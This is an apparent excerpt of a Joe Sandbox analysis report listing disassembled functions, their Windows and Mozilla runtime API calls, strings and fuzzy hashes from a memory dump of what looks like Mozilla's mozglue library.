Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 42e407da57a385a8d78d369c0ea5fb94c6c14c9cbd707af066752ee58c1f9741
Instruction ID: 3fa5d7a2e65765fab93156ea0a0ceea1d60df9eaf46009a4e13c35088c4fb477
Opcode Fuzzy Hash: 42e407da57a385a8d78d369c0ea5fb94c6c14c9cbd707af066752ee58c1f9741
Instruction Fuzzy Hash: AC41A1B49002848BDB00DFA8D845AEEB774FF04324F148629E82AAB791D735E949CF91

Function 6CAC1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CAC152B,?,?,?,?,6CAC1248,?), ref: 6CAC159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAC152B,?,?,?,?,6CAC1248,?), ref: 6CAC15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CAC152B,?,?,?,?,6CAC1248,?), ref: 6CAC15E7
free.MOZGLUE(?,?,?,?,?,?,6CAC152B,?,?,?,?,6CAC1248,?), ref: 6CAC1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CAC152B,?,?,?,?,6CAC1248,?), ref: 6CAC1637

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: aa7d116747a4976bc1057636a2185b8d38e1bef7221da5a5d1e1d14321d75f5e
Instruction ID: 2db1cf28f78b1958fff23f85edf9ed279827c303fe94370deac90b817202caeb
Opcode Fuzzy Hash: aa7d116747a4976bc1057636a2185b8d38e1bef7221da5a5d1e1d14321d75f5e
Instruction Fuzzy Hash: A731D672B001188BCB189E7CD9504BE77A9AB813647290B2DE523DBBD4EB30D9958792

Function 6CB1AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CB2E330,?,6CADC059), ref: 6CB1AD9D

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CB2E330,?,6CADC059), ref: 6CB1ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CB2E330,?,6CADC059), ref: 6CB1AE01
GetLastError.KERNEL32(?,00000000,?,?,6CB2E330,?,6CADC059), ref: 6CB1AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CB2E330,?,6CADC059), ref: 6CB1AE3D

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c05d49b15b400ed1065bcdaf2ef7cf6ac0a7d91dc6b5ef71636ced10bdbcf924
Instruction ID: 15a132b5f9f2fadfd7c3f7816091cc4b65ed09585193ff4be21bbd269e843be0
Opcode Fuzzy Hash: c05d49b15b400ed1065bcdaf2ef7cf6ac0a7d91dc6b5ef71636ced10bdbcf924
Instruction Fuzzy Hash: D83152B2A003559FDB10DF798D45AAFBBF8EF49614F154829E84AD7700E734E808CBA1

Function 6CB15EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CB2DCA0,?,?,?,6CAEE8B5,00000000), ref: 6CB15F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CAEE8B5,00000000), ref: 6CB15F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CAEE8B5,00000000), ref: 6CB15F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CAEE8B5,00000000), ref: 6CB15F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CAEE8B5,00000000), ref: 6CB15FD6

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: a4cad2a0ffeec94cac373e98c6b5d8fd180a2dd79bb1473905f1279b876ae3c8
Instruction ID: aae50721c5bf950dd5d73a5a931bfae18588047c10b1533a2d19e182709ec378
Opcode Fuzzy Hash: a4cad2a0ffeec94cac373e98c6b5d8fd180a2dd79bb1473905f1279b876ae3c8
Instruction Fuzzy Hash: 5C312E34304A408FDB21CF29C898E2AB7F9FF89319B648558F55A87B99C731EC45CB81

Function 6CABB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CABB532
moz_xmalloc.MOZGLUE(?), ref: 6CABB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CABB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CABB57E
free.MOZGLUE(00000000), ref: 6CABB58F

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: edfd7ede65e375824cdba62bc6ed236944323687ea18b597834b7feaabcde408
Instruction ID: 4fa730a193c4a5a40879c4909fdd7e81ca17c45d963e9bab706b2bfcb0d35015
Opcode Fuzzy Hash: edfd7ede65e375824cdba62bc6ed236944323687ea18b597834b7feaabcde408
Instruction Fuzzy Hash: 82210771A002059BDB009F68DD80BAEBBBDFF41308F284229E919EB341E735D955C7A1

Function 6CABB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CABB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CABB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CABB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CABB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABB849

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 68878ef3b3f848e5a686cfe0a66e2d3d3efc798ed33033c695f7b09508fd6bd7
Instruction ID: 7ada6530830b305c50e113bc9b26902f6940b79e71a0f10296ed142b55c0bcc4
Opcode Fuzzy Hash: 68878ef3b3f848e5a686cfe0a66e2d3d3efc798ed33033c695f7b09508fd6bd7
Instruction Fuzzy Hash: 17215EB5E002599FDF04DFA9D8855BEBBB8EF49314F148129EC09A7300E735A984CBA0

Function 6CB16E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB16E78

Part of subcall function 6CB16A10: InitializeCriticalSection.KERNEL32(6CB3F618), ref: 6CB16A68
Part of subcall function 6CB16A10: GetCurrentProcess.KERNEL32 ref: 6CB16A7D
Part of subcall function 6CB16A10: GetCurrentProcess.KERNEL32 ref: 6CB16AA1
Part of subcall function 6CB16A10: EnterCriticalSection.KERNEL32(6CB3F618), ref: 6CB16AAE
Part of subcall function 6CB16A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB16AE1
Part of subcall function 6CB16A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB16B15
Part of subcall function 6CB16A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CB16B65
Part of subcall function 6CB16A10: LeaveCriticalSection.KERNEL32(6CB3F618,?,?), ref: 6CB16B83

MozFormatCodeAddress.MOZGLUE ref: 6CB16EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB16EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB16EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CB16EFF

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4655eb1bfe38296c705d8f42f76a72d831d4f651bad410830d3bfe203f1c4274
Instruction ID: 89b2b59760b55d6c9e99bc72bac87fbc6b02da45fe9e27c2ea1921ea61307d11
Opcode Fuzzy Hash: 4655eb1bfe38296c705d8f42f76a72d831d4f651bad410830d3bfe203f1c4274
Instruction Fuzzy Hash: 4421A171A0825A9FDF10CF69D88569E77F9EF88308F044039E80D97241EB749A58CF92

Function 6CB176C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CB176F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CB17705

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB17717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CB1778F,00000000,00000000,00000000,00000000), ref: 6CB17731
free.MOZGLUE(00000000), ref: 6CB17760

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 5d14601cf37d00e1b0bdb2fb39190d727ec17e2750656c03afb375670d2e6c48
Instruction ID: 7a3c6c5f05b4f0b85fdb85701de8aa3789ebe956117120fed8a7436224923582
Opcode Fuzzy Hash: 5d14601cf37d00e1b0bdb2fb39190d727ec17e2750656c03afb375670d2e6c48
Instruction Fuzzy Hash: D011C4B1904255ABEB10AF76DC44BAFBEF8EF56354F144429F848E7700E77098448BE2

Function 6CAF0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CAB3DEF), ref: 6CAF0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CAB3DEF), ref: 6CAF0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CAB3DEF), ref: 6CAF0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAF0D97, 6CAF0DBE
<jemalloc>, xrefs: 6CAF0D92, 6CAF0DB9

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 6eed128d0e0571cb50f4342783bae4ff5e9fb85a552ee0807e8201e26aa0161f
Instruction ID: ca6fbdb20a50462726724890e88fda041f15a15e59134d92d7d474c48d22ade6
Opcode Fuzzy Hash: 6eed128d0e0571cb50f4342783bae4ff5e9fb85a552ee0807e8201e26aa0161f
Instruction Fuzzy Hash: 89F0E0313806D823E52011650C09B6B355D67C1B55F385035F66CDF9C4DA70E4464674

Function 6CB15850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6CB1586C
CloseHandle.KERNEL32 ref: 6CB15878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB15898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CB158C9
free.MOZGLUE(00000000), ref: 6CB158D3

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: d4f49438037c11e77ccfa6a39668624d39085c5f15ea46aaeccfb9f4f02dcaf5
Instruction ID: 4cf3286aab64f928e9228c43e443046bc21ac82fb6dfc301bc47da42c8a29d5d
Opcode Fuzzy Hash: d4f49438037c11e77ccfa6a39668624d39085c5f15ea46aaeccfb9f4f02dcaf5
Instruction Fuzzy Hash: 94014F76704241DBDF20DF1A9808A4E7BB9FB8332A72641B5E41DC3610DB319C148FA5

Function 6CB07620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB075C4,?), ref: 6CB0762B

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB074D7,6CB115FC,?,?,?), ref: 6CB07644
GetCurrentThreadId.KERNEL32 ref: 6CB0765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB074D7,6CB115FC,?,?,?), ref: 6CB07663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB074D7,6CB115FC,?,?,?), ref: 6CB07677

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 60d5040e550d86cdefcb8e27f2c6b86b902db4cb1f818a5b31eb3a6708ea08c6
Instruction ID: 0e796f2a6de500e5226e98902a79b57de70869f32c04703e91c0019fd339630a
Opcode Fuzzy Hash: 60d5040e550d86cdefcb8e27f2c6b86b902db4cb1f818a5b31eb3a6708ea08c6
Instruction Fuzzy Hash: 5FF0C271E10B55ABD7008F26C88867AB778FFEA259F114316F90843601E7B0A5D08BD1

Function 6CB11700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CB11800

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

Part of subcall function 6CAB4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAF3EBD,6CAF3EBD,00000000), ref: 6CAB42A9

Strings

name, xrefs: 6CB11939
Details, xrefs: 6CB11925
{marker.name} - {marker.data.name}, xrefs: 6CB118C7

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 89f28da54d78d7a921024f3796b19c52cbb13d89a22f94cef296440a7be7b431
Instruction ID: 4b24845d7dfcb1780923f1c6a72051239823c83cc4a3fc7cf011f15b989698bc
Opcode Fuzzy Hash: 89f28da54d78d7a921024f3796b19c52cbb13d89a22f94cef296440a7be7b431
Instruction Fuzzy Hash: B57115B0A047869FDB04DF28D450BAEBBB5FF45314F044669D8194BB41DB70EA98CBE2

Function 6CB1B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CB1B0A6,6CB1B0A6,?,6CB1AF67,?,00000010,?,6CB1AF67,?,00000010,00000000,?,?,6CB1AB1F), ref: 6CB1B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CB1B0A6,6CB1B0A6,?,6CB1AF67,?,00000010,?,6CB1AF67,?,00000010,00000000,?), ref: 6CB1B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CB1B0A6,6CB1B0A6,?,6CB1AF67,?,00000010,?,6CB1AF67,?,00000010), ref: 6CB1B25F

Strings

map/set<T> too long, xrefs: 6CB1B1FA

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: d9ccba39cc61010be8cf2be9e8fd126d378cb9ca98ba677c87c7d5b134a742ba
Instruction ID: 81a70276a5d23115d4825dea1c10ea131788a88be304178a12d70b102a7516f8
Opcode Fuzzy Hash: d9ccba39cc61010be8cf2be9e8fd126d378cb9ca98ba677c87c7d5b134a742ba
Instruction Fuzzy Hash: F3618CB46082858FD701CF19C880A9ABBF1FF4A328F29C599D8598FB52C731EC55CB91

Function 6CADD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

EnterCriticalSection.KERNEL32(6CB3E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CAED1C5), ref: 6CADD4F2
LeaveCriticalSection.KERNEL32(6CB3E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CAED1C5), ref: 6CADD50B

Part of subcall function 6CABCFE0: EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CABCFF6
Part of subcall function 6CABCFE0: LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CABD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CAED1C5), ref: 6CADD52E
EnterCriticalSection.KERNEL32(6CB3E7DC), ref: 6CADD690
LeaveCriticalSection.KERNEL32(6CB3E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CAED1C5), ref: 6CADD751

Strings

MOZ_CRASH(), xrefs: 6CADD4BB

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ac298c45f2f9e40f30c3390983fe0d910d0bf9bd3617443b61a592fc405742f3
Instruction ID: b611f9505f8382e1384bcaa400fa30e75f8294a3477709d23f5475a735a5675f
Opcode Fuzzy Hash: ac298c45f2f9e40f30c3390983fe0d910d0bf9bd3617443b61a592fc405742f3
Instruction Fuzzy Hash: 6151F371A047518FD328CF28C19475ABBE1EB89704F15492EE99DC7B84D770E884CF91

Function 6CB04630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB04721

Strings

profiler-paused, xrefs: 6CB046E4
-%llu, xrefs: 6CB04733
., xrefs: 6CB0476A

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 99d31615e3368b006ba5668491cb5fda15d1add3e84b4b27506d8f2f0424766e
Instruction ID: 2465108e8d591fe5ace7b7c39e7ec85aa6bfbb43089b141a3fefb21e05f8bcb9
Opcode Fuzzy Hash: 99d31615e3368b006ba5668491cb5fda15d1add3e84b4b27506d8f2f0424766e
Instruction Fuzzy Hash: E0412671F047489BCB08DF78E85116FBBE5EF95744F10862EE859A7B81EB349844CB82

Function 6CB29830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB2985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CB2987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CB298DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CB298D9

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 694ca9ff931850051243e8a377aef62d14bbdd58249929953073578408cab88b
